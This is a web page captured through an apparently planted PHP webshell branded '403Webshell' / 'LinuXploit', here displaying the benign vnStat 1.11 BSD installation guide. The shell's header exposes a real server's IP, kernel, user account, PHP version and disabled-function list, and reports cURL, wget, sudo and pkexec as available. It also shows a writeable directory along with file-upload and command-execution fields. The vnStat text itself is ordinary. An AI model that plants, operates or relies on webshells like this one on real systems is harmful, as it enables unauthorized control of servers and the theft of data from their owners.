403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.145.10.80
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /vnstat-1.11/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /vnstat-1.11/INSTALL_BSD
(Updated 29.5.2011 for version 1.11)


Compiling the binaries
::::::::::::::::::::::

 This source package contains the required sources for vnStat including
 the daemon (vnstatd) and image output (vnstati). Executing

     make

 will compile 'vnstat' and 'vnstatd' without requiring additional libraries.
 The optional image output however requires libgd2 to be available. In 
 BSD ports libgd2 is usually named simply 'gd'. Executing

     make all

 will compile everything including the image output support.  An example
 cgi ('vnstat.cgi') to be used with http server with the image output
 support has been provided in the 'examples' directory. Configuration
 options for the cgi are in the beginning of the file.
 
 Some BSD users might need to use

     LIBRARY_PATH="/usr/local/lib" CPATH="/usr/local/include" make all

 instead if libgd2 is installed but still not found.


Installing as root
::::::::::::::::::

 Login as root and run the following command:

     make bsdinstall

 If there were no errors, vnStat binaries, man pages and a config file
 should now be installed. Next every interface that should be monitored 
 needs to be introduced to vnStat. Replace 'eth0' in the command with any
 available interface if needed.

     vnstat -u -i eth0

 Repeat that for every other interface you wish to use. If you are unsure
 of available interface names then run

     vnstat --iflist

 and select a suitable looking interface from the provided list. Usually
 'lo' isn't the one you are looking for.

 The configuration file /etc/vnstat.conf should also be checked at this
 point. See the vnstat.conf man page for documentation about available
 options.

 Finally make vnStat monitor the selected interface(s). There are two way
 for updating interface data, daemon and cron. It is suggested to use daemon
 based updating because it generated less disk access and is more accurate
 especially when monitoring interfaces that aren't always available. Select
 only one of these two:


 1) daemon based updating
 ::::::::::::::::::::::::

   Configure init scripts so that the following command is executed once
   during system start:

       vnstatd -d

   One suitable place is for example /etc/rc.local.


 2) cron based updating
 ::::::::::::::::::::::

   Add the following line to /etc/crontab (or with minor modifications
   to the personal crontab of the user responsible for updates):

       */5 * * * *  root  /usr/local/bin/vnstat -u

   That will update interface every 5 minutes. Modify the update interval
   if needed. See the vnStat man page 'restrictions' section for limitations
   regarding fast interfaces and 32 bit interface traffic counters. Devices
   like ppp0 also require vnStat enable and disable commands to be added
   to suitable script file when cron based updating is used. Example scripts
   can be found in the 'examples' directory.


Installing without root access
::::::::::::::::::::::::::::::

 Copy all needed binaries to some directory included in your $PATH
 (~/bin/ is an example) and make the database directory.

     cp src/vnstat src/vnstatd src/vnstati ~/bin/
     cp cfg/vnstat.conf ~/.vnstatrc
     mkdir ~/.vnstat

 Next open the config file ~/.vnstatrc with your favorite text editor and
 locate the following line:
 
     DatabaseDir "/var/lib/vnstat"

 and replace it with
 
     DatabaseDir "/pathtomyhomedir/.vnstat"

 and save the file. If you are unsure about you homedir path execute
 
     cd ; pwd

 The ouput should tell your homedir. 

 Next every interface that should be monitored needs to be introduced
 to vnStat. Replace 'eth0' in the command with any available interface if
 needed.

     vnstat -u -i eth0

 Repeat that for every other interface you wish to use. Now it's time to add
 a crontab entry for vnStat. Do that by executing the command 'crontab -e'
 and add the following line (without leading spaces, remember to change the
 path):

     */5 * * * * ~/bin/vnstat -u

 OR if the daemon can be used

     @reboot ~/bin/vnstatd -d

 If you found yourself using a strange editor then 'man vi' should help.

 If you choose to use the daemon then make sure the configuration file
 (~/.vnstatrc) has the log option either disabled or set to a file that
 is located in a place where you have write permissions, such as your
 home dir. Then (if using the daemon) try starting it with 'vnstat -d'.

 After that wait for (or generate) at least 1024 bytes of network traffic
 (and 5 min for the next cron/daemon update).

     vnstat

 Now you should get some stats about your network usage. See the config
 file ~/.vnstatrc for interface and other settings.


Youez - 2016 - github.com/yon3zu
LinuXploit